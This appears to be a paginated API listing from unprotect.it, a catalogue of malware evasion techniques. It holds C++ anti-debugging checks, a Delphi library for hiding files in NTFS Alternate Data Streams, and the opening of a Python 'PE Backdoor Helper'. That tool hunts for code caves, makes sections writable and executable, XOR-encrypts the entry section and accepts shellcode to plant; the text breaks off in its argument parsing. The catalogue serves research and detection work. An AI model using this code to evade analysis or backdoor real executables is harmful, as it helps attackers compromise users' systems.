GET /api/snippets/?format=api&page=4
HTTP 200 OK
Allow: GET, POST, HEAD, OPTIONS
Content-Type: application/json
Vary: Accept

{
    "count": 206,
    "next": "https://unprotect.it/api/snippets/?format=api&page=5",
    "previous": "https://unprotect.it/api/snippets/?format=api&page=3",
    "results": [
        {
            "id": 60,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/108/?format=api",
            "description": "Source: https://github.com/LordNoteworthy/al-khaser/blob/master/al-khaser/AntiDebug/MemoryBreakpoints_PageGuard.cpp",
            "plain_code": "#include \"pch.h\"\r\n\r\n#include \"MemoryBreakpoints_PageGuard.h\"\r\n\r\n/*\r\nIn essence, what occurs is that we allocate a dynamic buffer and write a RET to the buffer.\r\nWe then mark the page as a guard page and push a potential return address onto the stack. Next, we jump to our page,\r\nand if we're under a debugger, specifically OllyDBG, then we will hit the RET instruction and return to the address we pushed onto\r\nthe stack before we jumped to our page. Otherwise, a STATUS_GUARD_PAGE_VIOLATION exception will occur, and we know we're not being\r\ndebugged by OllyDBG.\r\n*/\r\n\r\nBOOL MemoryBreakpoints_PageGuard()\r\n{\r\n\tUCHAR *pMem = NULL;\r\n\tSYSTEM_INFO SystemInfo = { 0 };\r\n\tDWORD OldProtect = 0;\r\n\tPVOID pAllocation = NULL; // Get the page size for the system \r\n\r\n\t// Retrieves information about the current system.\r\n\tGetSystemInfo(&SystemInfo);\r\n\r\n\t// Allocate memory \r\n\tpAllocation = VirtualAlloc(NULL, SystemInfo.dwPageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);\r\n\tif (pAllocation == NULL)\r\n\t\treturn FALSE;\r\n\r\n\t// Write a ret to the buffer (opcode 0xc3)\r\n\tRtlFillMemory(pAllocation, 1, 0xC3);\r\n\r\n\t// Make the page a guard page         \r\n\tif (VirtualProtect(pAllocation, SystemInfo.dwPageSize, PAGE_EXECUTE_READWRITE | PAGE_GUARD, &OldProtect) == 0)\r\n\t\treturn FALSE;\r\n\r\n\t__try\r\n\t{\r\n\t\t((void(*)())pAllocation)(); // Exception or execution, which shall it be :D?\r\n\t}\r\n\t__except (GetExceptionCode() == STATUS_GUARD_PAGE_VIOLATION ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH)\r\n\t{\r\n\t\tVirtualFree(pAllocation, 0, MEM_RELEASE);\r\n\t\treturn FALSE;\r\n\t}\r\n\r\n\tVirtualFree(pAllocation, 0, MEM_RELEASE);\r\n\treturn TRUE;\r\n}"
        },
        {
            "id": 59,
            "language": {
                "id": 1,
                "label": "Delphi",
                "code_class": "Delphi"
            },
            "user": {
                "id": 4,
                "username": "DarkCoderSc",
                "email": "jplesueur@proton.me",
                "linkedin": "https://www.linkedin.com/in/jlesueur/",
                "twitter": "https://www.twitter.com/darkcodersc",
                "website": "https://www.phrozen.io/",
                "github": "https://github.com/DarkCoderSc"
            },
            "technique": "https://unprotect.it/api/techniques/136/?format=api",
            "description": "This code let you handle Alternate Data Streams using two different techniques.\r\n\r\n* `FindFirstStreamW` / `FindNextStreamW` : Available since Windows Vista and easier to use.\r\n* `BackupRead` : Available since Windows XP and more tricky to use.\r\n\r\nYou can:\r\n\r\n* Enumerate ADS Files attached to a target file.\r\n* Backup ADS File(s) attached to a target file.\r\n* Copy any file to target file ADS.\r\n* Delete ADS File(s) attached to a target file.\r\n\r\nIf you want to learn more about how to use this tiny library you can check [this example project on Github](https://github.com/DarkCoderSc/ADS-Revealer).",
            "plain_code": "unit UntDataStreamObject;\r\n\r\ninterface\r\n\r\nuses WinAPI.Windows, System.Classes, System.SysUtils, Generics.Collections,\r\n      RegularExpressions;\r\n\r\ntype\r\n  TEnumDataStream = class;\r\n  TADSBackupStatus = (absTotal, absPartial, absError);\r\n\r\n  TDataStream = class\r\n  private\r\n    FOwner      : TEnumDataStream;\r\n    FStreamName : String;\r\n    FStreamSize : Int64;\r\n\r\n    {@M}\r\n    function GetStreamPath() : String;\r\n  public\r\n    {@C}\r\n    constructor Create(AOwner : TEnumDataStream; AStreamName : String; AStreamSize : Int64);\r\n\r\n    {@M}\r\n    function CopyFileToADS(AFileName : String) : Boolean;\r\n    function BackupFromADS(ADestPath : String) : Boolean;\r\n    function DeleteFromADS() : Boolean;\r\n\r\n    {@G/S}\r\n    property StreamName : String read FStreamName;\r\n    property StreamSize : Int64  read FStreamSize;\r\n    property StreamPath : String read GetStreamPath;\r\n  end;\r\n\r\n  TEnumDataStream = class\r\n  private\r\n    FTargetFile            : String;\r\n    FItems                 : TObjectList<TDataStream>;\r\n    FForceBackUpReadMethod : Boolean;\r\n\r\n    {@M}\r\n    function Enumerate_FindFirstStream() : Int64;\r\n    function Enumerate_BackupRead() : Int64;\r\n    function ExtractADSName(ARawName : String) : String;\r\n    function CopyFromTo(AFrom, ATo : String) : Boolean;\r\n    function GetDataStreamFromName(AStreamName : String) : TDataStream;\r\n  public\r\n    {@C}\r\n    constructor Create(ATargetFile : String; AEnumerateNow : Boolean = True; AForceBackUpReadMethod : Boolean = False);\r\n    destructor Destroy(); override;\r\n\r\n    {@M}\r\n    function Refresh() : Int64;\r\n\r\n    function CopyFileToADS(AFilePath : String) : Boolean;\r\n    function BackupFromADS(ADataStream : TDataStream; ADestPath : String) : Boolean; overload;\r\n    function DeleteFromADS(ADataStream : TDataStream) : Boolean; overload;\r\n    function BackupAllFromADS(ADestPath : String) : TADSBackupStatus;\r\n    function BackupFromADS(AStreamName, ADestPath : String) : Boolean; overload;\r\n    function DeleteFromADS(AStreamName : String) : Boolean; overload;\r\n\r\n    {@G}\r\n    property TargetFile : String                   read FTargetFile;\r\n    property Items      : TObjectList<TDataStream> read FItems;\r\n  end;\r\n\r\nimplementation\r\n\r\n{+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n\r\n\r\n   TEnumDataStream\r\n\r\n\r\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++}\r\n\r\n{\r\n  FindFirstStream / FindNextStream API Definition\r\n}\r\ntype\r\n  _STREAM_INFO_LEVELS = (FindStreamInfoStandard, FindStreamInfoMaxInfoLevel);\r\n  TStreamInfoLevels = _STREAM_INFO_LEVELS;\r\n\r\n  _WIN32_FIND_STREAM_DATA = record\r\n    StreamSize : LARGE_INTEGER;\r\n    cStreamName : array[0..(MAX_PATH + 36)] of WideChar;\r\n  end;\r\n  TWin32FindStreamData = _WIN32_FIND_STREAM_DATA;\r\n\r\nvar hKernel32         : THandle;\r\n    _FindFirstStreamW : function(lpFileName : LPCWSTR; InfoLevel : TStreamInfoLevels; lpFindStreamData : LPVOID; dwFlags : DWORD) : THandle; stdcall;\r\n    _FindNextStreamW  : function(hFindStream : THandle; lpFindStreamData : LPVOID) : BOOL; stdcall;\r\n\r\n\r\n{-------------------------------------------------------------------------------\r\n  Return the ADS name from it raw name (:<name>:$DATA)\r\n-------------------------------------------------------------------------------}\r\nfunction TEnumDataStream.ExtractADSName(ARawName : String) : String;\r\nvar AMatch : TMatch;\r\n    AName  : String;\r\nbegin\r\n  result := ARawName;\r\n  ///\r\n\r\n  AName := '';\r\n  AMatch := TRegEx.Match(ARawName, ':(.*):');\r\n  if (AMatch.Groups.Count < 2) then\r\n    Exit();\r\n\r\n  result := AMatch.Groups.Item[1].Value;\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  Scan for ADS using method N�1 (FindFirstStream / FindNextStream). Work since\r\n  Microsoft Windows Vista.\r\n-------------------------------------------------------------------------------}\r\nfunction TEnumDataStream.Enumerate_FindFirstStream() : Int64;\r\nvar hStream     : THandle;\r\n    AData       : TWin32FindStreamData;\r\n\r\n    procedure ProcessDataStream();\r\n    var ADataStream : TDataStream;\r\n    begin\r\n      if (String(AData.cStreamName).CompareTo('::$DATA') = 0) then\r\n        Exit();\r\n      ///\r\n\r\n      ADataStream := TDataStream.Create(self, ExtractADSName(String(AData.cStreamName)), Int64(AData.StreamSize));\r\n\r\n      FItems.Add(ADataStream);\r\n    end;\r\n\r\nbegin\r\n  result := 0;\r\n  ///\r\n\r\n  self.FItems.Clear();\r\n\r\n  if NOT FileExists(FTargetFile) then\r\n    Exit(-1);\r\n\r\n  if (NOT Assigned(@_FindFirstStreamW)) or (NOT Assigned(@_FindNextStreamW)) then\r\n    Exit(-2);\r\n\r\n  FillChar(AData, SizeOf(TWin32FindStreamData), #0);\r\n\r\n  // https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-findfirststreamw\r\n  hStream := _FindFirstStreamW(PWideChar(FTargetFile), FindStreamInfoStandard, @AData, 0);\r\n  if (hStream = INVALID_HANDLE_VALUE) then begin\r\n    case GetLastError() of\r\n      ERROR_HANDLE_EOF : begin\r\n        Exit(-3); // No ADS Found\r\n      end;\r\n\r\n      ERROR_INVALID_PARAMETER : begin\r\n        Exit(-4); // Not compatible\r\n      end;\r\n\r\n      else begin\r\n        Exit(-5);\r\n      end;\r\n    end;\r\n  end;\r\n\r\n  ProcessDataStream();\r\n\r\n  // https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-findnextstreamw\r\n  while True do begin\r\n    FillChar(AData, SizeOf(TWin32FindStreamData), #0);\r\n\r\n    if NOT _FindNextStreamW(hStream, @AData) then\r\n      break;\r\n\r\n    ProcessDataStream();\r\n  end;\r\n\r\n  ///\r\n  result := self.FItems.Count;\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  Scan for ADS using method N�2 (BackupRead()). Works since\r\n  Microsoft Windows XP.\r\n-------------------------------------------------------------------------------}\r\nfunction TEnumDataStream.Enumerate_BackupRead() : Int64;\r\nvar hFile           : THandle;\r\n    AStreamId       : TWIN32StreamID;\r\n    ABytesRead      : Cardinal;\r\n    pContext        : Pointer;\r\n    ALowByteSeeked  : Cardinal;\r\n    AHighByteSeeked : Cardinal;\r\n    AName           : String;\r\n    ABytesToRead    : Cardinal;\r\n    ASeekTo         : LARGE_INTEGER;\r\n    AClose          : Boolean;\r\nbegin\r\n  result := 0;\r\n  AClose := False;\r\n  ///\r\n  hFile := CreateFile(\r\n                        PWideChar(self.TargetFile),\r\n                        GENERIC_READ,\r\n                        FILE_SHARE_READ,\r\n                        nil,\r\n                        OPEN_EXISTING,\r\n                        FILE_FLAG_BACKUP_SEMANTICS,\r\n                        0\r\n  );\r\n  if (hFile = INVALID_HANDLE_VALUE) then\r\n    Exit(-1);\r\n  try\r\n    pContext := nil;\r\n    try\r\n      while True do begin\r\n        FillChar(AStreamId, SizeOf(TWIN32StreamID), #0);\r\n        ///\r\n\r\n        {\r\n          Read Stream\r\n        }\r\n        ABytesToRead := SizeOf(TWIN32StreamID) - 4; // We don't count \"cStreamName\"\r\n\r\n        if NOT BackupRead(hFile, @AStreamId, ABytesToRead, ABytesRead, False, False, pContext) then\r\n          break;\r\n\r\n        AClose := True;\r\n\r\n        if (ABytesRead = 0) then\r\n          break;\r\n\r\n        ASeekTo.QuadPart := (AStreamId.Size + AStreamId.dwStreamNameSize);\r\n\r\n        case AStreamId.dwStreamId of\r\n          {\r\n            Deadling with ADS Only\r\n          }\r\n          BACKUP_ALTERNATE_DATA : begin\r\n            if (AStreamId.dwStreamNameSize > 0) then begin\r\n              {\r\n                Read ADS Name\r\n              }\r\n              ABytesToRead := AStreamId.dwStreamNameSize;\r\n              SetLength(AName, (ABytesToRead div SizeOf(WideChar)));\r\n              if BackupRead(hFile, PByte(AName), ABytesToRead, ABytesRead, False, False, pContext) then begin\r\n                Dec(ASeekTo.QuadPart, ABytesRead); // Already done\r\n\r\n                FItems.Add(TDataStream.Create(self, ExtractADSName(AName), AStreamId.Size));\r\n              end;\r\n            end;\r\n          end;\r\n        end;\r\n\r\n        {\r\n          Goto Next Stream.\r\n        }\r\n        if NOT BackupSeek(hFile, ASeekTo.LowPart, ASeekTo.HighPart, ALowByteSeeked, AHighByteSeeked, pContext) then\r\n          break;\r\n\r\n        (*\r\n          //////////////////////////////////////////////////////////////////////\r\n          // BackupSeek() Alternative (Manual method)\r\n          //////////////////////////////////////////////////////////////////////\r\n\r\n          var ABuffer : array[0..2096-1] of byte;\r\n          // ...\r\n          while True do begin\r\n            if (ASeekTo.QuadPart < SizeOf(ABuffer)) then\r\n              ABytesToRead := ASeekTo.QuadPart\r\n            else\r\n              ABytesToRead := SizeOf(ABuffer);\r\n\r\n            if ABytesToRead = 0 then\r\n              break;\r\n\r\n            if NOT BackupRead(hFile, PByte(@ABuffer), ABytesToRead, ABytesRead, False, False, pContext) then\r\n              break;\r\n            ///\r\n\r\n            Dec(ASeekTo.QuadPart, ABytesRead);\r\n\r\n            if (ASeekTo.QuadPart <= 0) then\r\n              break;\r\n          end;\r\n          // ...\r\n\r\n          //////////////////////////////////////////////////////////////////////\r\n        *)\r\n      end;\r\n    finally\r\n      if AClose then\r\n        BackupRead(hFile, nil, 0, ABytesRead, True, False, pContext);\r\n    end;\r\n  finally\r\n    CloseHandle(hFile);\r\n  end;\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  Refresh embedded data stream objects using Windows API. Returns number of\r\n  data stream objects or an error identifier.\r\n-------------------------------------------------------------------------------}\r\nfunction TEnumDataStream.Refresh() : Int64;\r\nvar AVersion : TOSVersion;\r\nbegin\r\n  result := 0;\r\n  ///\r\n\r\n  if (AVersion.Major >= 6) then begin\r\n    {\r\n      Vista and above\r\n    }\r\n    if self.FForceBackUpReadMethod then\r\n      result := self.Enumerate_BackupRead()\r\n    else\r\n      result := self.Enumerate_FindFirstStream();\r\n  end else if (AVersion.Major = 5) and (AVersion.Minor >= 1) then begin\r\n    {\r\n      Windows XP / Server 2003 & R2\r\n    }\r\n    result := self.Enumerate_BackupRead();\r\n  end else begin\r\n    // Unsupported (???)\r\n  end;\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  Refresh ADS Files and retrieve one ADS file by it name.\r\n-------------------------------------------------------------------------------}\r\nfunction TEnumDataStream.GetDataStreamFromName(AStreamName : String) : TDataStream;\r\nvar I       : Integer;\r\n    AStream : TDataStream;\r\nbegin\r\n  result := nil;\r\n  ///\r\n\r\n  if (self.Refresh() > 0) then begin\r\n    for I := 0 to self.Items.count -1 do begin\r\n      AStream := self.Items.Items[i];\r\n      if NOT Assigned(AStream) then\r\n        continue;\r\n      ///\r\n\r\n      if (String.Compare(AStream.StreamName, AStreamName, True) = 0) then\r\n        result := AStream;\r\n    end;\r\n  end;\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  ADS Classic Actions\r\n    - Copy file to current ADS Location.\r\n    - Copy ADS item to destination path.\r\n    - Delete ADS Item.\r\n-------------------------------------------------------------------------------}\r\n\r\nfunction TEnumDataStream.CopyFromTo(AFrom, ATo : String) : Boolean;\r\nvar hFromFile     : THandle;\r\n    hToFile       : THandle;\r\n\r\n    ABuffer       : array[0..4096-1] of byte;\r\n    ABytesRead    : Cardinal;\r\n    ABytesWritten : Cardinal;\r\nbegin\r\n  result := False;\r\n  ///\r\n\r\n  hFromFile := INVALID_HANDLE_VALUE;\r\n  hToFile   := INVALID_HANDLE_VALUE;\r\n\r\n  try\r\n    hFromFile := CreateFile(PWideChar(AFrom), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);\r\n    if (hFromFile = INVALID_HANDLE_VALUE) then\r\n      Exit();\r\n\r\n    hToFile := CreateFile(\r\n                            PWideChar(ATo),\r\n                            GENERIC_WRITE,\r\n                            FILE_SHARE_WRITE,\r\n                            nil,\r\n                            CREATE_ALWAYS,\r\n                            FILE_ATTRIBUTE_NORMAL,\r\n                            0\r\n    );\r\n\r\n    if (hToFile = INVALID_HANDLE_VALUE) then\r\n      Exit();\r\n    ///\r\n\r\n    while True do begin\r\n      {\r\n        Read\r\n      }\r\n      if NOT ReadFile(hFromFile, ABuffer, SizeOf(ABuffer), ABytesRead, nil) then\r\n        Exit();\r\n\r\n      if ABytesRead = 0 then\r\n        break; // Success\r\n\r\n      {\r\n        Write\r\n      }\r\n      if NOT WriteFile(hToFile, ABuffer, ABytesRead, ABytesWritten, nil) then\r\n        Exit();\r\n\r\n      if (ABytesWritten <> ABytesRead) then\r\n        Exit();\r\n    end;\r\n\r\n    ///\r\n    result := True;\r\n  finally\r\n    if hFromFile <> INVALID_HANDLE_VALUE then\r\n      CloseHandle(hFromFile);\r\n\r\n    if hToFile <> INVALID_HANDLE_VALUE then\r\n      CloseHandle(hToFile);\r\n\r\n    ///\r\n    self.Refresh();\r\n  end;\r\nend;\r\n\r\nfunction TEnumDataStream.CopyFileToADS(AFilePath : String) : Boolean;\r\nbegin\r\n  result := CopyFromTo(AFilePath, Format('%s:%s', [self.FTargetFile, ExtractFileName(AFilePath)]));\r\nend;\r\n\r\nfunction TEnumDataStream.BackupFromADS(ADataStream : TDataStream; ADestPath : String) : Boolean;\r\nbegin\r\n  result := False;\r\n\r\n  if NOT Assigned(ADataStream) then\r\n    Exit();\r\n\r\n  result := CopyFromTo(ADataStream.StreamPath, Format('%s%s', [IncludeTrailingPathDelimiter(ADestPath), ADataStream.StreamName]));\r\nend;\r\n\r\nfunction TEnumDataStream.DeleteFromADS(ADataStream : TDataStream) : Boolean;\r\nbegin\r\n  result := DeleteFile(ADataStream.StreamPath);\r\nend;\r\n\r\nfunction TEnumDataStream.BackupAllFromADS(ADestPath : String) : TADSBackupStatus;\r\nvar I       : integer;\r\n    AStream : TDataStream;\r\nbegin\r\n  result := absError;\r\n  ///\r\n\r\n  if (self.Refresh() > 0) then begin\r\n    for I := 0 to self.Items.count -1 do begin\r\n      AStream := self.Items.Items[i];\r\n      if NOT Assigned(AStream) then\r\n        continue;\r\n      ///\r\n\r\n      if AStream.BackupFromADS(ADestPath) and (result <> absPartial) then\r\n        result := absTotal\r\n      else\r\n        result := absPartial;\r\n    end;\r\n  end;\r\nend;\r\n\r\nfunction TEnumDataStream.BackupFromADS(AStreamName, ADestPath : String) : Boolean;\r\nvar AStream : TDataStream;\r\nbegin\r\n  result := False;\r\n  ///\r\n\r\n  AStream := self.GetDataStreamFromName(AStreamName);\r\n  if Assigned(AStream) then\r\n    result := self.BackupFromADS(AStream, ADestPath);\r\nend;\r\n\r\nfunction TEnumDataStream.DeleteFromADS(AStreamName : String) : Boolean;\r\nvar AStream : TDataStream;\r\nbegin\r\n  result := False;\r\n  ///\r\n\r\n  AStream := self.GetDataStreamFromName(AStreamName);\r\n  if Assigned(AStream) then\r\n    result := self.DeleteFromADS(AStream);\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  ___constructor\r\n-------------------------------------------------------------------------------}\r\nconstructor TEnumDataStream.Create(ATargetFile : String; AEnumerateNow : Boolean = True; AForceBackUpReadMethod : Boolean = False);\r\nbegin\r\n  self.FTargetFile := ATargetFile;\r\n  self.FForceBackUpReadMethod := AForceBackupReadMethod;\r\n\r\n  FItems := TObjectList<TDataStream>.Create();\r\n  FItems.OwnsObjects := True;\r\n\r\n  if AEnumerateNow then\r\n    self.Refresh();\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  ___destructor\r\n-------------------------------------------------------------------------------}\r\ndestructor TEnumDataStream.Destroy();\r\nbegin\r\n  if Assigned(FItems) then\r\n    FreeAndNil(FItems);\r\n\r\n  ///\r\n  inherited Destroy();\r\nend;\r\n\r\n{+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n\r\n\r\n   TDataStream\r\n\r\n\r\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++}\r\n\r\nconstructor TDataStream.Create(AOwner : TEnumDataStream; AStreamName : String; AStreamSize : Int64);\r\nbegin\r\n  self.FOwner      := AOwner;\r\n  self.FStreamName := AStreamName;\r\n  self.FStreamSize := AStreamSize;\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  Generate Stream Path Accordingly\r\n-------------------------------------------------------------------------------}\r\nfunction TDataStream.GetStreamPath() : String;\r\nbegin\r\n  result := '';\r\n\r\n  if NOT Assigned(FOwner) then\r\n    Exit();\r\n\r\n  result := Format('%s:%s', [FOwner.TargetFile, self.FStreamName]);\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  ADS Classic Actions (Redirected to Owner Object)\r\n-------------------------------------------------------------------------------}\r\n\r\nfunction TDataStream.CopyFileToADS(AFileName : String) : Boolean;\r\nbegin\r\n  if Assigned(FOwner) then\r\n    result := FOwner.CopyFileToADS(AFileName);\r\nend;\r\n\r\nfunction TDataStream.BackupFromADS(ADestPath : String) : Boolean;\r\nbegin\r\n  if Assigned(FOwner) then\r\n    result := FOwner.BackupFromADS(self, ADestPath);\r\nend;\r\n\r\nfunction TDataStream.DeleteFromADS() : Boolean;\r\nbegin\r\n  if Assigned(FOwner) then\r\n    result := FOwner.DeleteFromADS(self);\r\nend;\r\n\r\n// +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n\r\ninitialization\r\n  _FindFirstStreamW := nil;\r\n  _FindNextStreamW  := nil;\r\n\r\n  hKernel32 := LoadLibrary('KERNEL32.DLL');\r\n  if (hKernel32 > 0) then begin\r\n    @_FindFirstStreamW := GetProcAddress(hKernel32, 'FindFirstStreamW');\r\n    @_FindNextStreamW := GetProcAddress(hKernel32, 'FindNextStreamW');\r\n  end;\r\n\r\nfinalization\r\n  _FindFirstStreamW := nil;\r\n  _FindNextStreamW  := nil;\r\n\r\nend."
        },
        {
            "id": 58,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 12,
                "username": "Lexsek",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/Lexsek_",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/164/?format=api",
            "description": "",
            "plain_code": "#include <windows.h>\r\n#include <stdio.h>\r\n\r\nint main() {\r\n\r\n    HANDLE thread = GetCurrentThread();\r\n    CONTEXT threadContext;\r\n    int errorCode;\r\n\r\n    memset(&threadContext, 0, sizeof(CONTEXT));\r\n    threadContext.ContextFlags = CONTEXT_ALL;\r\n\r\n    if( !GetThreadContext(thread, &threadContext) ){\r\n        errorCode = GetLastError();\r\n        puts(\"Could not get thread context\");\r\n        return errorCode;\r\n    }\r\n\r\n    if( threadContext.Dr0 || threadContext.Dr1 || threadContext.Dr2 || threadContext.Dr3 ){\r\n        puts(\"Detected\");\r\n    }\r\n    else{\r\n        puts(\"Undetected\");\r\n    }\r\n\r\n    return 0;\r\n}"
        },
        {
            "id": 54,
            "language": {
                "id": 3,
                "label": "Python",
                "code_class": "python"
            },
            "user": {
                "id": 4,
                "username": "DarkCoderSc",
                "email": "jplesueur@proton.me",
                "linkedin": "https://www.linkedin.com/in/jlesueur/",
                "twitter": "https://www.twitter.com/darkcodersc",
                "website": "https://www.phrozen.io/",
                "github": "https://github.com/DarkCoderSc"
            },
            "technique": "https://unprotect.it/api/techniques/106/?format=api",
            "description": "* `-f / --file` : Valid PE File location (Ex: /path/to/calc.exe).\r\n* `-p / --payload` : Shellcode Payload (Example: \\\"\\\\x01\\\\x02\\\\x03...\\\\x0a\\\").\r\n* `-x / --encrypt` : Encrypt main section (entry point section).\r\n* `-k / --encryption-key` : Define custom encryption key (1 Byte only).\r\n* `-c / --cave-opcodes` : Define code opcode list to search for.\r\n* `-s / --cave-min-size` : Minimum size of region to be considered as code cave.\r\n* `-e / --egg` : Define a custom egg name (ESP Restore Mechanism).",
            "plain_code": "import pefile\r\nimport struct\r\nimport argparse\r\nimport sys\r\nimport os\r\n\r\nclass tcolors:\r\n\tclear = \"\\033[0m\"\r\n\tgreen = \"\\033[32m\"\r\n\tred = \"\\033[31m\"\r\n\tyellow = \"\\033[33m\"\r\n\tblue = \"\\033[34m\"\r\n\tgray = \"\\033[90m\"\r\n\r\n\r\ndef success(message):\r\n\tprint(f\"[\\033[32m✓\\033[39m] {message}\")\r\n\r\n\r\ndef error(message):\r\n\tprint(f\"\\033[31m{message}\\033[39m\")\r\n\r\n\r\ndef debug(message):\r\n\tprint(f\"[\\033[34m*\\033[39m] {message}\")\t\r\n\r\ndef warning(message):\r\n\tprint(f\"[\\033[33m!\\033[39m] {message}\")\r\n\r\n\r\ndef title(title):\r\n\tprint(\"\\n\" + (\"=\" * 45))\r\n\tprint(f\" {title}\")\r\n\tprint(\"=\" * 45)\r\n\r\n\r\ndef bytearr_to_bytestr(data):\r\n\treturn ''.join(f\"\\\\x{'{:02x}'.format(x)}\" for x in data)\r\n\r\n\r\ndef bytestr_to_bytearr(data):\r\n\treturn list(bytearray.fromhex(data.replace(\"\\\\x\", \" \")))\r\n\r\n\r\nclass CodeCave:\r\n\t\"\"\"\r\n\t\tClass containing information about a found code cave\r\n\t\"\"\"\r\n\r\n\tdef __init__(self, name, section, offset, size, cave_type):\r\n\t\tself.name = name\r\n\t\tself.section = section\r\n\t\tself.offset = offset\t\r\n\t\tself.size = size\t\r\n\t\tself.type = cave_type\r\n\r\n\r\ndef get_section_by_address(address):\r\n\tfor section in pe.sections:\r\n\r\n\t\tsection_begin_address = (image_base + section.VirtualAddress)\r\n\t\tsection_end_address = (section_begin_address + section.SizeOfRawData)\r\n\r\n\t\tif (address >= section_begin_address) and (address <= section_end_address):\r\n\t\t\treturn section\r\n\r\n\treturn None\r\n\r\n\r\ndef get_section_name(section):\r\n\t\"\"\"\r\n\t\tReturn the name of a PE Section and strip for extra zeroes\r\n\r\n\t\tA section name is always equal to zero bytes and padded with zeros.\r\n\t\"\"\"\r\n\r\n\tif not section:\r\n\t\treturn \"\"\r\n\r\n\treturn section.Name.decode(\"utf-8\").strip('\\0').lower()\r\n\r\n\r\ndef define_section_rwe(section):\r\n\t\"\"\"\r\n\t\tUpdate section flag to Execute | Read | Write -> 0xE0000020\r\n\t\"\"\"\r\n\tflags = 0xe0000020\r\n\r\n\tif section.Characteristics != flags:\r\n\t\tdebug(f\"Section flags updated from {hex(section.Characteristics)} to {hex(flags)} (READ / WRITE / EXECUTE)\")\r\n\r\n\t\tsection.Characteristics = flags\r\n\r\n\r\ndef code_cave_finder(section, cave_opcode):\r\n\t\"\"\"\r\n\t\tFind a succession of x NOP's or a succession of x NULL Bytes in a section.\r\n\r\n\t\tTo be consired as a code cave, buffer space must be at least equal or above 50 Bytes.\r\n\r\n\t\tSection must be executable in order to host our payload.\t\r\n\t\"\"\"\r\n\r\n\tname = get_section_name(section)\r\n\r\n\tif len(search_in_sections) > 0:\r\n\t\tif not name in search_in_sections:\r\n\t\t\treturn False\r\n\r\n\toffset = section.VirtualAddress\r\n\r\n\tsection_data = pe.get_memory_mapped_image()[offset:offset + section.SizeOfRawData]\t\t\r\n\r\n\tcave_length = 0\t\r\n\r\n\tfor index, b in enumerate(section_data, start=1):\t\t\t\r\n\t\tif (b == cave_opcode):\t\t\t\t\r\n\t\t\tcave_length += 1\t\r\n\r\n\t\tif ((b != cave_opcode) and (cave_length > 0)) or (index == len(section_data)):\r\n\t\t\t\r\n\t\t\tif cave_length >= argv.cave_min_size:\t\t\t\t\t\r\n\t\t\t\tcave = CodeCave(name, section, (index - cave_length), cave_length, cave_opcode)\r\n\r\n\t\t\t\tcode_caves.append(cave)\r\n\t\t\t\r\n\t\t\tcave_length = 0\r\n\r\n\treturn True\r\n\r\n\r\ndef encrypt_section(section, xor_key):\r\n\t\"\"\"\r\n\t\tEncrypt whole PE Section using a basic XOR Encoder (4 Bytes Key)\r\n\t\"\"\"\r\n\r\n\toffset = section.VirtualAddress\r\n\r\n\tsection_data = bytearray(pe.get_memory_mapped_image()[offset:offset + section.SizeOfRawData])\r\n\r\n\tfor index, b in enumerate(section_data):\t\t\t\t\r\n\t\tsection_data[index] =  b ^ xor_key # b ^ (index % 256)\r\n\r\n\tpe.set_bytes_at_offset(section.PointerToRawData, bytes(section_data))\t\r\n\r\n\r\ndef get_rel_distance(origine, destination):\r\n\t\"\"\"\r\n\t\tRetrieve the relative distance between two locations.\r\n\r\n\t\tlocation is relative to image_base\r\n\t\"\"\"\r\n\torigine += image_base\r\n\tdestination += image_base\r\n\r\n\tdistance = 0x0\r\n\r\n\tif origine > destination:\r\n\t\tdistance = (0x0 - (origine - destination)) & 0xffffffff\r\n\telse:\t\t\r\n\t\tdistance = (destination - origine)\r\n\r\n\treturn distance\r\n\r\n\r\n\r\n'''\r\n-------------------------------------------------------------------------------------------------------\r\n\r\n\tEntry Point\r\n\t\r\n-------------------------------------------------------------------------------------------------------\r\n'''\r\nif __name__ == \"__main__\":\r\n\tsearch_in_sections = [] # [] = All Sections\r\n\ttry:\r\n\t\targument_parser = argparse.ArgumentParser(description=f\"PE Backdoor Helper by {tcolors.blue}@DarkCoderSc{tcolors.clear}\")\r\n\r\n\t\targument_parser.add_argument('-f', '--file', type=str, dest=\"file\", action=\"store\", required=True, help=\"Valid PE File location (Ex: /path/to/calc.exe).\")\r\n\r\n\t\targument_parser.add_argument('-p', '--payload', type=str, dest=\"payload\", action=\"store\", required=False, default=\"\", help=\"Shellcode Payload (Example: \\\"\\\\x01\\\\x02\\\\x03...\\\\x0a\\\").\")\r\n\r\n\t\targument_parser.add_argument('-x', '--encrypt', dest=\"encrypt_main_section\", action=\"store_true\", required=False, default=False, help=\"Encrypt main section (entry point section).\")\t\t\r\n\r\n\t\targument_parser.add_argument('-k', '--encryption-key', type=str, dest=\"encryption_key\", action=\"store\", required=False, default=\"\\\\x0c\", help=\"Define custom encryption key (1 Byte 